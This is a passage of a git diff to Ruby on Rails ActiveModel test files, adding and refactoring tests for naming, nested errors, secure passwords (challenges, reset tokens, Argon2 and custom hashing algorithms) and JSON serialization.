   include ActiveSupport::Testing::MethodCallAssertions
-
-  # Skips the current run on Rubinius using Minitest::Assertions#skip
-  private def rubinius_skip(message = "")
-    skip message if RUBY_ENGINE == "rbx"
-  end
-  # Skips the current run on JRuby using Minitest::Assertions#skip
-  private def jruby_skip(message = "")
-    skip message if defined?(JRUBY_VERSION)
-  end
 end
+
+require_relative "../../../tools/test_common"
diff --git a/activemodel/test/cases/lint_test.rb b/activemodel/test/cases/lint_test.rb
index 7a817d7c01f1a..d62c80b71a419 100644
--- a/activemodel/test/cases/lint_test.rb
+++ b/activemodel/test/cases/lint_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class LintTest < ActiveModel::TestCase
diff --git a/activemodel/test/cases/model_test.rb b/activemodel/test/cases/model_test.rb
index ba87cd1506245..dbb1485b03e53 100644
--- a/activemodel/test/cases/model_test.rb
+++ b/activemodel/test/cases/model_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class ModelTest < ActiveModel::TestCase
@@ -56,7 +58,7 @@ def test_initialize_with_nil_or_empty_hash_params_does_not_explode
 
   def test_persisted_is_always_false
     object = BasicModel.new(attr: "value")
-    assert object.persisted? == false
+    assert_not object.persisted?
   end
 
   def test_mixin_inclusion_chain
@@ -74,4 +76,12 @@ def test_mixin_initializer_when_args_dont_exist
       SimpleModel.new(hello: "world")
     end
   end
+
+  def test_load_hook_is_called
+    value = "not loaded"
+
+    ActiveSupport.on_load(:active_model) { value = "loaded" }
+
+    assert_equal "loaded", value
+  end
 end
diff --git a/activemodel/test/cases/naming_test.rb b/activemodel/test/cases/naming_test.rb
index d5cb1a62bc166..5b7533c959edb 100644
--- a/activemodel/test/cases/naming_test.rb
+++ b/activemodel/test/cases/naming_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/contact"
 require "models/sheep"
@@ -40,6 +42,10 @@ def test_param_key
   def test_i18n_key
     assert_equal :"post/track_back", @model_name.i18n_key
   end
+
+  def test_uncountable
+    assert_equal false, @model_name.uncountable?
+  end
 end
 
 class NamingWithNamespacedModelInIsolatedNamespaceTest < ActiveModel::TestCase
@@ -156,6 +162,24 @@ def test_i18n_key
   end
 end
 
+class NamingWithSuppliedLocaleTest < ActiveModel::TestCase
+  def setup
+    ActiveSupport::Inflector.inflections(:cs) do |inflect|
+      inflect.plural(/(e)l$/i, '\1lé')
+    end
+
+    @model_name = ActiveModel::Name.new(Blog::Post, nil, "Uzivatel", :cs)
+  end
+
+  def test_singular
+    assert_equal "uzivatel", @model_name.singular
+  end
+
+  def test_plural
+    assert_equal "uzivatelé", @model_name.plural
+  end
+end
+
 class NamingUsingRelativeModelNameTest < ActiveModel::TestCase
   def setup
     @model_name = Blog::Post.model_name
@@ -246,7 +270,7 @@ def test_param_key_for_class
 
   def test_uncountable
     assert uncountable?(@uncountable), "Expected 'sheep' to be uncountable"
-    assert !uncountable?(@klass), "Expected 'contact' to be countable"
+    assert_not uncountable?(@klass), "Expected 'contact' to be countable"
   end
 
   def test_uncountable_route_key
@@ -255,8 +279,8 @@ def test_uncountable_route_key
   end
 
   private
-    def method_missing(method, *args)
-      ActiveModel::Naming.send(method, *args)
+    def method_missing(method, ...)
+      ActiveModel::Naming.public_send(method, ...)
     end
 end
 
@@ -278,3 +302,29 @@ def test_model_name
     assert_equal Blog::Post.model_name, Blog::Post.new.model_name
   end
 end
+
+class OverridingAccessorsTest < ActiveModel::TestCase
+  def test_overriding_accessors_keys
+    model_name = ActiveModel::Name.new(Post::TrackBack).tap do |name|
+      name.singular = :singular
+      name.plural = :plural
+      name.element = :element
+      name.collection = :collection
+      name.singular_route_key = :singular_route_key
+      name.route_key = :route_key
+      name.param_key = :param_key
+      name.i18n_key = :i18n_key
+      name.name = :name
+    end
+
+    assert_equal :singular, model_name.singular
+    assert_equal :plural, model_name.plural
+    assert_equal :element, model_name.element
+    assert_equal :collection, model_name.collection
+    assert_equal :singular_route_key, model_name.singular_route_key
+    assert_equal :route_key, model_name.route_key
+    assert_equal :param_key, model_name.param_key
+    assert_equal :i18n_key, model_name.i18n_key
+    assert_equal :name, model_name.name
+  end
+end
diff --git a/activemodel/test/cases/nested_error_test.rb b/activemodel/test/cases/nested_error_test.rb
new file mode 100644
index 0000000000000..6c2458ba8301c
--- /dev/null
+++ b/activemodel/test/cases/nested_error_test.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_model/nested_error"
+require "models/topic"
+require "models/reply"
+
+class NestedErrorTest < ActiveModel::TestCase
+  def test_initialize
+    topic = Topic.new
+    inner_error = ActiveModel::Error.new(topic, :title, :not_enough, count: 2)
+    reply = Reply.new
+    error = ActiveModel::NestedError.new(reply, inner_error)
+
+    assert_equal reply, error.base
+    assert_equal inner_error.attribute, error.attribute
+    assert_equal inner_error.type, error.type
+    assert_equal(inner_error.options, error.options)
+  end
+
+  test "initialize with overriding attribute and type" do
+    topic = Topic.new
+    inner_error = ActiveModel::Error.new(topic, :title, :not_enough, count: 2)
+    reply = Reply.new
+    error = ActiveModel::NestedError.new(reply, inner_error, attribute: :parent, type: :foo)
+
+    assert_equal reply, error.base
+    assert_equal :parent, error.attribute
+    assert_equal :foo, error.type
+    assert_equal(inner_error.options, error.options)
+  end
+
+  def test_message
+    topic = Topic.new(author_name: "Bruce")
+    inner_error = ActiveModel::Error.new(topic, :title, :not_enough, message: Proc.new { |model, options|
+      "not good enough for #{model.author_name}"
+    })
+    reply = Reply.new(author_name: "Mark")
+    error = ActiveModel::NestedError.new(reply, inner_error)
+
+    assert_equal "not good enough for Bruce", error.message
+  end
+
+  def test_full_message
+    topic = Topic.new(author_name: "Bruce")
+    inner_error = ActiveModel::Error.new(topic, :title, :not_enough, message: Proc.new { |model, options|
+      "not good enough for #{model.author_name}"
+    })
+    reply = Reply.new(author_name: "Mark")
+    error = ActiveModel::NestedError.new(reply, inner_error)
+
+    assert_equal "Title not good enough for Bruce", error.full_message
+  end
+end
diff --git a/activemodel/test/cases/railtie_test.rb b/activemodel/test/cases/railtie_test.rb
index a56b26b5eebbc..91c0162f21b37 100644
--- a/activemodel/test/cases/railtie_test.rb
+++ b/activemodel/test/cases/railtie_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "active_support/testing/isolation"
 
@@ -13,6 +15,7 @@ def setup
     @app ||= Class.new(::Rails::Application) do
       config.eager_load = false
       config.logger = fake_logger
+      config.active_support.cache_format_version = 7.1
     end
   end
 
@@ -29,4 +32,24 @@ def setup
 
     assert_equal true, ActiveModel::SecurePassword.min_cost
   end
+
+  test "i18n customize full message defaults to false" do
+    @app.initialize!
+
+    assert_equal false, ActiveModel::Error.i18n_customize_full_message
+  end
+
+  test "i18n customize full message can be disabled" do
+    @app.config.active_model.i18n_customize_full_message = false
+    @app.initialize!
+
+    assert_equal false, ActiveModel::Error.i18n_customize_full_message
+  end
+
+  test "i18n customize full message can be enabled" do
+    @app.config.active_model.i18n_customize_full_message = true
+    @app.initialize!
+
+    assert_equal true, ActiveModel::Error.i18n_customize_full_message
+  end
 end
diff --git a/activemodel/test/cases/schematized_json_test.rb b/activemodel/test/cases/schematized_json_test.rb
new file mode 100644
index 0000000000000..06d5885b26e30
--- /dev/null
+++ b/activemodel/test/cases/schematized_json_test.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class Account
+  extend ActiveModel::Callbacks
+  include ActiveModel::Attributes
+  include ActiveModel::SchematizedJson
+
+  define_model_callbacks :save
+
+  attribute :settings
+  has_json :settings, restricts_access: true, max_invites: 10, greeting: "Hello!", beta: :boolean
+
+  attribute :flags
+  has_delegated_json :flags, premium: false
+
+  attribute :flags_with_defaults, default: { "staff" => false, "early_adopter" => true }
+  has_json :flags_with_defaults, staff: true, early_adopter: false
+
+  attribute :broken
+  has_json :broken, creation: :datetime, nesting: {}
+end
+
+class SchematizedJsonTest < ActiveModel::TestCase
+  setup do
+    @account = Account.new
+  end
+
+  test "boolean" do
+    assert @account.settings.restricts_access?
+
+    @account.settings.restricts_access = false
+    assert_not @account.settings.restricts_access?
+
+    @account.settings.restricts_access = "true"
+    assert @account.settings.restricts_access?
+  end
+
+  test "boolean without default" do
+    assert_nil @account.settings.beta
+    assert_not @account.settings.beta?
+  end
+
+  test "integer" do
+    assert_equal 10, @account.settings.max_invites
+
+    @account.settings.max_invites = 15
+    assert_equal 15, @account.settings.max_invites
+
+    @account.settings.max_invites = "100"
+    assert_equal 100, @account.settings.max_invites
+  end
+
+  test "string" do
+    assert_equal "Hello!", @account.settings.greeting
+    @account.settings.greeting = 100
+    assert_equal "100", @account.settings.greeting
+  end
+
+  test "delegated accessors" do
+    assert_not @account.premium?
+    @account.premium = true
+    assert @account.premium?
+  end
+
+  test "mass assignment" do
+    @account.settings = { "restricts_access" => "false", "max_invites" => "5", "greeting" => "goodbye" }
+    assert_not @account.settings.restricts_access?
+    assert_equal 5, @account.settings.max_invites
+    assert_equal "goodbye", @account.settings.greeting
+  end
+
+  test "schema defaults will not overwrite attribute defaults" do
+    assert_not @account.flags_with_defaults.staff?
+    assert @account.flags_with_defaults.early_adopter?
+  end
+
+  test "only standard json types are acceptable schema types" do
+    assert_raises(ArgumentError) do
+      @account.broken.creation = DateTime.now
+    end
+
+    assert_raises(ArgumentError) do
+      @account.broken.nesting = { not: :valid }
+    end
+  end
+end
diff --git a/activemodel/test/cases/secure_password_test.rb b/activemodel/test/cases/secure_password_test.rb
index 77ce86f39250b..c27bdb8ee36a6 100644
--- a/activemodel/test/cases/secure_password_test.rb
+++ b/activemodel/test/cases/secure_password_test.rb
@@ -1,6 +1,44 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/user"
+require "models/pilot"
+require "models/slow_pilot"
 require "models/visitor"
+require "models/argonaut"
+
+class CustomAlgorithm
+  def algorithm_name
+    :custom_algorithm
+  end
+
+  def validate(record, attribute)
+    # No-op for testing
+  end
+
+  def hash_password(unencrypted_password)
+    "hashed-#{unencrypted_password}"
+  end
+
+  def verify_password(password, digest)
+    digest == "hashed-#{password}"
+  end
+
+  def password_salt(digest)
+    "custom-salt"
+  end
+end
+
+class UserWithCustomAlgorithm < User
+  has_secure_password algorithm: CustomAlgorithm.new
+end
+
+# Register custom algorithm before using it in class definition
+ActiveModel::SecurePassword.register_algorithm :custom_algorithm, CustomAlgorithm
+
+class UserWithRegisteredAlgorithm < User
+  has_secure_password algorithm: :custom_algorithm
+end
 
 class SecurePasswordTest < ActiveModel::TestCase
   setup do
@@ -10,10 +48,13 @@ class SecurePasswordTest < ActiveModel::TestCase
 
     @user = User.new
     @visitor = Visitor.new
+    @pilot = Pilot.new
+    @slow_pilot = SlowPilot.new
 
     # Simulate loading an existing user from the DB
     @existing_user = User.new
     @existing_user.password_digest = BCrypt::Password.create("password", cost: BCrypt::Engine::MIN_COST)
+    @existing_user.changes_applied
   end
 
   teardown do
@@ -47,30 +88,40 @@ class SecurePasswordTest < ActiveModel::TestCase
 
   test "create a new user with validation and a blank password" do
     @user.password = ""
-    assert !@user.valid?(:create), "user should be invalid"
+    assert_not @user.valid?(:create), "user should be invalid"
     assert_equal 1, @user.errors.count
     assert_equal ["can't be blank"], @user.errors[:password]
   end
 
   test "create a new user with validation and a nil password" do
     @user.password = nil
-    assert !@user.valid?(:create), "user should be invalid"
+    assert_not @user.valid?(:create), "user should be invalid"
     assert_equal 1, @user.errors.count
     assert_equal ["can't be blank"], @user.errors[:password]
   end
 
-  test "create a new user with validation and password length greater than 72" do
+  test "create a new user with validation and password length greater than 72 characters" do
     @user.password = "a" * 73
     @user.password_confirmation = "a" * 73
-    assert !@user.valid?(:create), "user should be invalid"
+    assert_not @user.valid?(:create), "user should be invalid"
+    assert_equal 1, @user.errors.count
+    assert_equal ["is too long"], @user.errors[:password]
+  end
+
+  test "create a new user with validation and password byte size greater than 72 bytes" do
+    # Create a password with 73 bytes by using a 3-byte Unicode character (e.g., "�") 24 times, followed by a 1-byte character "a".
+    # This will result in a password length of 25 characters, but with a byte size of 73.
+    @user.password = "�" * 24 + "a"
+    @user.password_confirmation = "�" * 24 + "a"
+    assert_not @user.valid?(:create), "user should be invalid"
     assert_equal 1, @user.errors.count
-    assert_equal ["is too long (maximum is 72 characters)"], @user.errors[:password]
+    assert_equal ["is too long"], @user.errors[:password]
   end
 
   test "create a new user with validation and a blank password confirmation" do
     @user.password = "password"
     @user.password_confirmation = ""
-    assert !@user.valid?(:create), "user should be invalid"
+    assert_not @user.valid?(:create), "user should be invalid"
     assert_equal 1, @user.errors.count
     assert_equal ["doesn't match Password"], @user.errors[:password_confirmation]
   end
@@ -84,11 +135,25 @@ class SecurePasswordTest < ActiveModel::TestCase
   test "create a new user with validation and an incorrect password confirmation" do
     @user.password = "password"
     @user.password_confirmation = "something else"
-    assert !@user.valid?(:create), "user should be invalid"
+    assert_not @user.valid?(:create), "user should be invalid"
     assert_equal 1, @user.errors.count
     assert_equal ["doesn't match Password"], @user.errors[:password_confirmation]
   end
 
+  test "create a new user with validation, a spaces only password, and an incorrect password confirmation" do
+    @user.password = " "
+    @user.password_confirmation = "something else"
+    assert_not @user.valid?(:create), "user should be invalid"
+    assert_equal 1, @user.errors.count
+    assert_equal ["doesn't match Password"], @user.errors[:password_confirmation]
+  end
+
+  test "resetting password to nil clears the password cache" do
+    @user.password = "password"
+    @user.password = nil
+    assert_nil @user.password
+  end
+
   test "update an existing user with validation and no change in password" do
     assert @existing_user.valid?(:update), "user should be valid"
   end
@@ -123,7 +188,7 @@ class SecurePasswordTest < ActiveModel::TestCase
 
   test "updating an existing user with validation and a nil password" do
     @existing_user.password = nil
-    assert !@existing_user.valid?(:update), "user should be invalid"
+    assert_not @existing_user.valid?(:update), "user should be invalid"
     assert_equal 1, @existing_user.errors.count
     assert_equal ["can't be blank"], @existing_user.errors[:password]
   end
@@ -131,15 +196,15 @@ class SecurePasswordTest < ActiveModel::TestCase
   test "updating an existing user with validation and password length greater than 72" do
     @existing_user.password = "a" * 73
     @existing_user.password_confirmation = "a" * 73
-    assert !@existing_user.valid?(:update), "user should be invalid"
+    assert_not @existing_user.valid?(:update), "user should be invalid"
     assert_equal 1, @existing_user.errors.count
-    assert_equal ["is too long (maximum is 72 characters)"], @existing_user.errors[:password]
+    assert_equal ["is too long"], @existing_user.errors[:password]
   end
 
   test "updating an existing user with validation and a blank password confirmation" do
     @existing_user.password = "password"
     @existing_user.password_confirmation = ""
-    assert !@existing_user.valid?(:update), "user should be invalid"
+    assert_not @existing_user.valid?(:update), "user should be invalid"
     assert_equal 1, @existing_user.errors.count
     assert_equal ["doesn't match Password"], @existing_user.errors[:password_confirmation]
   end
@@ -153,21 +218,70 @@ class SecurePasswordTest < ActiveModel::TestCase
   test "updating an existing user with validation and an incorrect password confirmation" do
     @existing_user.password = "password"
     @existing_user.password_confirmation = "something else"
-    assert !@existing_user.valid?(:update), "user should be invalid"
+    assert_not @existing_user.valid?(:update), "user should be invalid"
     assert_equal 1, @existing_user.errors.count
     assert_equal ["doesn't match Password"], @existing_user.errors[:password_confirmation]
   end
 
+  test "updating an existing user with validation, a spaces only password, and an incorrect password confirmation" do
+    @existing_user.password = " "
+    @existing_user.password_confirmation = "something else"
+    assert_not @existing_user.valid?(:update), "user should be invalid"
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["doesn't match Password"], @existing_user.errors[:password_confirmation]
+  end
+
+  test "updating an existing user with validation and a correct password challenge" do
+    @existing_user.password = "new password"
+    @existing_user.password_challenge = "password"
+    assert @existing_user.valid?(:update), "user should be valid"
+  end
+
+  test "updating an existing user with validation and a nil password challenge" do
+    @existing_user.password = "new password"
+    @existing_user.password_challenge = nil
+    assert @existing_user.valid?(:update), "user should be valid"
+  end
+
+  test "updating an existing user with validation and a blank password challenge" do
+    @existing_user.password = "new password"
+    @existing_user.password_challenge = ""
+    assert_not @existing_user.valid?(:update), "user should be invalid"
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["is invalid"], @existing_user.errors[:password_challenge]
+  end
+
+  test "updating an existing user with validation and an incorrect password challenge" do
+    @existing_user.password = "new password"
+    @existing_user.password_challenge = "new password"
+    assert_not @existing_user.valid?(:update), "user should be invalid"
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["is invalid"], @existing_user.errors[:password_challenge]
+  end
+
+  test "updating a user without dirty tracking and a correct password challenge" do
+    validatable_visitor = Class.new(Visitor) do
+      attr_accessor :untracked_digest
+      has_secure_password :untracked
+    end.new
+
+    validatable_visitor.untracked = "password"
+    assert validatable_visitor.valid?(:update), "user should be valid"
+
+    validatable_visitor.untracked_challenge = "password"
+    assert_not validatable_visitor.valid?(:update), "user should be invalid"
+  end
+
   test "updating an existing user with validation and a blank password digest" do
     @existing_user.password_digest = ""
-    assert !@existing_user.valid?(:update), "user should be invalid"
+    assert_not @existing_user.valid?(:update), "user should be invalid"
     assert_equal 1, @existing_user.errors.count
     assert_equal ["can't be blank"], @existing_user.errors[:password]
   end
 
   test "updating an existing user with validation and a nil password digest" do
     @existing_user.password_digest = nil
-    assert !@existing_user.valid?(:update), "user should be invalid"
+    assert_not @existing_user.valid?(:update), "user should be invalid"
     assert_equal 1, @existing_user.errors.count
     assert_equal ["can't be blank"], @existing_user.errors[:password]
   end
@@ -182,11 +296,52 @@ class SecurePasswordTest < ActiveModel::TestCase
     assert_nil @existing_user.password_digest
   end
 
+  test "override secure password attribute" do
+    assert_nil @user.password_called
+
+    @user.password = "secret"
+
+    assert_equal "secret", @user.password
+    assert_equal 1, @user.password_called
+
+    @user.password = "terces"
+
+    assert_equal "terces", @user.password
+    assert_equal 2, @user.password_called
+  end
+
   test "authenticate" do
     @user.password = "secret"
+    @user.recovery_password = "42password"
+
+    assert_equal false, @user.authenticate("wrong")
+    assert_equal @user, @user.authenticate("secret")
+
+    assert_equal false, @user.authenticate_password("wrong")
+    assert_equal @user, @user.authenticate_password("secret")
+
+    assert_equal false, @user.authenticate_recovery_password("wrong")
+    assert_equal @user, @user.authenticate_recovery_password("42password")
+  end
+
+  test "authenticate should return false and not raise when password digest is blank" do
+    @user.password_digest = " "
+    assert_equal false, @user.authenticate(" ")
+  end
+
+  test "password_salt" do
+    @user.password = "secret"
+    assert_equal @user.password_digest.salt, @user.password_salt
+  end
 
-    assert !@user.authenticate("wrong")
-    assert @user.authenticate("secret")
+  test "password_salt should return nil when password is nil" do
+    @user.password = nil
+    assert_nil @user.password_salt
+  end
+
+  test "password_salt should return nil when password digest is nil" do
+    @user.password_digest = nil
+    assert_nil @user.password_salt
   end
 
   test "Password digest cost defaults to bcrypt default cost when min_cost is false" do
@@ -197,16 +352,14 @@ class SecurePasswordTest < ActiveModel::TestCase
   end
 
   test "Password digest cost honors bcrypt cost attribute when min_cost is false" do
-    begin
-      original_bcrypt_cost = BCrypt::Engine.cost
-      ActiveModel::SecurePassword.min_cost = false
-      BCrypt::Engine.cost = 5
-
-      @user.password = "secret"
-      assert_equal BCrypt::Engine.cost, @user.password_digest.cost
-    ensure
-      BCrypt::Engine.cost = original_bcrypt_cost
-    end
+    original_bcrypt_cost = BCrypt::Engine.cost
+    ActiveModel::SecurePassword.min_cost = false
+    BCrypt::Engine.cost = 5
+
+    @user.password = "secret"
+    assert_equal BCrypt::Engine.cost, @user.password_digest.cost
+  ensure
+    BCrypt::Engine.cost = original_bcrypt_cost
   end
 
   test "Password digest cost can be set to bcrypt min cost to speed up tests" do
@@ -215,4 +368,112 @@ class SecurePasswordTest < ActiveModel::TestCase
     @user.password = "secret"
     assert_equal BCrypt::Engine::MIN_COST, @user.password_digest.cost
   end
+
+  test "password reset token" do
+    assert_not @person.respond_to? :password_reset_token
+    assert_equal "password_reset-token-900", @pilot.password_reset_token
+
+    assert_equal "finding-for-password_reset-by-999", Pilot.find_by_password_reset_token("999")
+    assert_equal "finding-for-password_reset-by-999!", Pilot.find_by_password_reset_token!("999")
+  end
+
+  test "password reset token duration" do
+    assert_equal "password_reset-token-3600", @slow_pilot.password_reset_token
+    assert_equal 1.hour, @slow_pilot.password_reset_token_expires_in
+  end
+
+  test "password algorithm defaults to bcrypt" do
+    assert_equal :bcrypt, @user.password_algorithm
+  end
+
+  test "custom password algorithm is supported" do
+    user_with_diff_algo = UserWithCustomAlgorithm.new
+
+    user_with_diff_algo.password = "secret"
+    assert_equal "hashed-secret", user_with_diff_algo.password_digest
+
+    assert_equal false, user_with_diff_algo.authenticate("wrong")
+    assert_equal user_with_diff_algo, user_with_diff_algo.authenticate("secret")
+
+    assert_equal false, user_with_diff_algo.authenticate_password("wrong")
+    assert_equal user_with_diff_algo, user_with_diff_algo.authenticate_password("secret")
+
+    assert_equal "custom-salt", user_with_diff_algo.password_salt
+
+    assert_equal :custom_algorithm, user_with_diff_algo.password_algorithm
+  end
+
+  test "algorithm can be registered and used via symbol" do
+    user = UserWithRegisteredAlgorithm.new
+
+    user.password = "secret"
+    assert_equal "hashed-secret", user.password_digest
+
+    assert_equal false, user.authenticate("wrong")
+    assert_equal user, user.authenticate("secret")
+
+    assert_equal "custom-salt", user.password_salt
+
+    assert_equal :custom_algorithm, user.password_algorithm
+  end
+
+  test "raises error for unknown algorithm symbol" do
+    error = assert_raises(ArgumentError) do
+      Class.new(User) do
+        has_secure_password algorithm: :unknown_algorithm
+      end
+    end
+    assert_match(/Unknown password algorithm: :unknown_algorithm/, error.message)
+  end
+
+  test "algorithm registry can be inspected" do
+    assert_includes ActiveModel::SecurePassword.algorithm_registry.keys, :bcrypt
+    assert_includes ActiveModel::SecurePassword.algorithm_registry.keys, :argon2
+    assert_includes ActiveModel::SecurePassword.algorithm_registry.keys, :custom_algorithm
+  end
+end
+
+# Argon2 tests
+class SecurePasswordArgon2Test < ActiveModel::TestCase
+  setup do
+    @original_min_cost = ActiveModel::SecurePassword.min_cost
+    ActiveModel::SecurePassword.min_cost = true
+    @argonaut = Argonaut.new
+  end
+
+  teardown do
+    ActiveModel::SecurePassword.min_cost = @original_min_cost
+  end
+
+  test "argon2 algorithm is registered" do
+    assert_includes ActiveModel::SecurePassword.algorithm_registry.keys, :argon2
+  end
+
+  test "argon2 digest is generated and authenticate works" do
+    @argonaut.password = "secret"
+    assert_match(/\A\$argon2/, @argonaut.password_digest)
+    assert_equal @argonaut, @argonaut.authenticate("secret")
+    assert_equal false, @argonaut.authenticate("wrong")
+    assert_equal :argon2, @argonaut.password_algorithm
+  end
+
+  test "argon2 password salt extraction" do
+    @argonaut.password = "secret"
+    salt_from_algo = @argonaut.password_salt
+    salt_from_parser = Argon2::HashFormat.new(@argonaut.password_digest).salt
+    assert_equal salt_from_parser, salt_from_algo
+    assert_not_nil salt_from_algo
+  end
+
+  test "argon2 allows long passwords" do
+    long = "a" * 200
+    @argonaut.password = long
+    @argonaut.password_confirmation = long
+
+    # Argon2 has no length restriction, unlike BCrypt's 72-byte limit
+    assert @argonaut.valid?(:create), "should be valid with long password"
+    assert_not @argonaut.errors[:password].include?("is too long (maximum is 72 characters)"), "Argon2 should not have BCrypt's 72-byte limit"
+
+    assert_equal @argonaut, @argonaut.authenticate(long)
+  end
 end
diff --git a/activemodel/test/cases/serialization_test.rb b/activemodel/test/cases/serialization_test.rb
index f78efd2f0cc13..bc40ca0d4fecf 100644
--- a/activemodel/test/cases/serialization_test.rb
+++ b/activemodel/test/cases/serialization_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "active_support/core_ext/object/instance_variables"
 
@@ -16,7 +18,7 @@ def attributes
       instance_values.except("address", "friends")
     end
 
-    def method_missing(method_name, *args)
+    def method_missing(method_name, ...)
       if method_name == :bar
         "i_am_bar"
       else
@@ -60,6 +62,11 @@ def test_method_serializable_hash_should_work_with_only_option
     assert_equal expected, @user.serializable_hash(only: [:name])
   end
 
+  def test_method_serializable_hash_should_work_with_only_option_with_order_of_given_keys
+    expected = { "name" => "David", "email" => "david@example.com" }
+    assert_equal expected.keys, @user.serializable_hash(only: [:name, :email]).keys
+  end
+
   def test_method_serializable_hash_should_work_with_except_option
     expected = { "gender" => "male", "email" => "david@example.com" }
     assert_equal expected, @user.serializable_hash(except: [:name])
@@ -172,4 +179,11 @@ def test_multiple_includes_with_options
                            { "name" => "Sue", "email" => "sue@example.com", "gender" => "female" }] }
     assert_equal expected, @user.serializable_hash(include: [{ address: { only: "street" } }, :friends])
   end
+
+  def test_all_includes_with_options
+    expected = { "email" => "david@example.com", "gender" => "male", "name" => "David",
+                "address" => { "street" => "123 Lane" },
+                "friends" => [{ "name" => "Joe" }, { "name" => "Sue" }] }
+    assert_equal expected, @user.serializable_hash(include: [address: { only: "street" }, friends: { only: "name" }])
+  end
 end
diff --git a/activemodel/test/cases/serializers/json_serialization_test.rb b/activemodel/test/cases/serializers/json_serialization_test.rb
index d15ba64eb044c..e7919495a9bb4 100644
--- a/activemodel/test/cases/serializers/json_serialization_test.rb
+++ b/activemodel/test/cases/serializers/json_serialization_test.rb
@@ -1,18 +1,30 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/contact"
+require "models/address"
 require "active_support/core_ext/object/instance_variables"
 
 class JsonSerializationTest < ActiveModel::TestCase
+  class CamelContact < Contact
+    include ActiveModel::AttributeAssignment
+
+    def assign_attributes(attributes)
+      super(attributes.deep_transform_keys(&:underscore))
+    end
+  end
+
   def setup
     @contact = Contact.new
     @contact.name = "Konata Izumi"
+    @contact.address = Address.new(address_line: "Cantonment Road", city: "Trichy", state: "Tamil Nadu", country: "India")
     @contact.age = 16
     @contact.created_at = Time.utc(2006, 8, 1)
     @contact.awesome = true
     @contact.preferences = { "shows" => "anime" }
   end
 
-  test "should not include root in json (class method)" do
+  test "should not include root in JSON (class method)" do
     json = @contact.to_json
 
     assert_no_match %r{^\{"contact":\{}, json
@@ -23,36 +35,34 @@ def setup
     assert_match %r{"preferences":\{"shows":"anime"\}}, json
   end
 
-  test "should include root in json if include_root_in_json is true" do
-    begin
-      original_include_root_in_json = Contact.include_root_in_json
-      Contact.include_root_in_json = true
-      json = @contact.to_json
-
-      assert_match %r{^\{"contact":\{}, json
-      assert_match %r{"name":"Konata Izumi"}, json
-      assert_match %r{"age":16}, json
-      assert_includes json, %("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))})
-      assert_match %r{"awesome":true}, json
-      assert_match %r{"preferences":\{"shows":"anime"\}}, json
-    ensure
-      Contact.include_root_in_json = original_include_root_in_json
-    end
+  test "should include root in JSON if include_root_in_json is true" do
+    original_include_root_in_json = Contact.include_root_in_json
+    Contact.include_root_in_json = true
+    json = @contact.to_json
+
+    assert_match %r{^\{"contact":\{}, json
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_match %r{"age":16}, json
+    assert_includes json, %("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))})
+    assert_match %r{"awesome":true}, json
+    assert_match %r{"preferences":\{"shows":"anime"\}}, json
+  ensure
+    Contact.include_root_in_json = original_include_root_in_json
   end
 
-  test "should include root in json (option) even if the default is set to false" do
+  test "should include root in JSON (option) even if the default is set to false" do
     json = @contact.to_json(root: true)
 
     assert_match %r{^\{"contact":\{}, json
   end
 
-  test "should not include root in json (option)" do
+  test "should not include root in JSON (option)" do
     json = @contact.to_json(root: false)
 
     assert_no_match %r{^\{"contact":\{}, json
   end
 
-  test "should include custom root in json" do
+  test "should include custom root in JSON" do
     json = @contact.to_json(root: "json_contact")
 
     assert_match %r{^\{"json_contact":\{}, json
@@ -127,22 +137,100 @@ def @contact.favorite_quote; "Constraints are liberating"; end
     assert_equal :name, options[:except]
   end
 
+  test "as_json should serialize timestamps" do
+    assert_equal "2006-08-01T00:00:00.000Z", @contact.as_json["created_at"]
+  end
+
   test "as_json should return a hash if include_root_in_json is true" do
-    begin
-      original_include_root_in_json = Contact.include_root_in_json
-      Contact.include_root_in_json = true
-      json = @contact.as_json
-
-      assert_kind_of Hash, json
-      assert_kind_of Hash, json["contact"]
-      %w(name age created_at awesome preferences).each do |field|
-        assert_equal @contact.send(field), json["contact"][field]
-      end
-    ensure
-      Contact.include_root_in_json = original_include_root_in_json
+    original_include_root_in_json = Contact.include_root_in_json
+    Contact.include_root_in_json = true
+    json = @contact.as_json
+
+    assert_kind_of Hash, json
+    assert_kind_of Hash, json["contact"]
+    %w(name age created_at awesome preferences).each do |field|
+      assert_equal @contact.public_send(field).as_json, json["contact"][field]
+    end
+  ensure
+    Contact.include_root_in_json = original_include_root_in_json
+  end
+
+  test "as_json should work with root option set to true" do
+    json = @contact.as_json(root: true)
+
+    assert_kind_of Hash, json
+    assert_kind_of Hash, json["contact"]
+    %w(name age created_at awesome preferences).each do |field|
+      assert_equal @contact.public_send(field).as_json, json["contact"][field]
+    end
+  end
+
+  test "as_json should work with root option set to string" do
+    json = @contact.as_json(root: "connection")
+
+    assert_kind_of Hash, json
+    assert_kind_of Hash, json["connection"]
+    %w(name age created_at awesome preferences).each do |field|
+      assert_equal @contact.public_send(field).as_json, json["connection"][field]
     end
   end
 
+  test "as_json should allow attribute filtering with except" do
+    json = @contact.as_json(except: [:age, :created_at, :awesome, :preferences])
+
+    assert_kind_of Hash, json
+    assert_equal({ "name" => "Konata Izumi" }, json)
+  end
+
+  test "as_json should allow attribute filtering with only" do
+    json = @contact.as_json(only: :name)
+
+    assert_kind_of Hash, json
+    assert_equal({ "name" => "Konata Izumi" }, json)
+  end
+
+  test "as_json should work with methods options" do
+    json = @contact.as_json(methods: :social)
+
+    assert_kind_of Hash, json
+    %w(name age created_at awesome preferences social).each do |field|
+      assert_equal @contact.public_send(field).as_json, json[field]
+    end
+  end
+
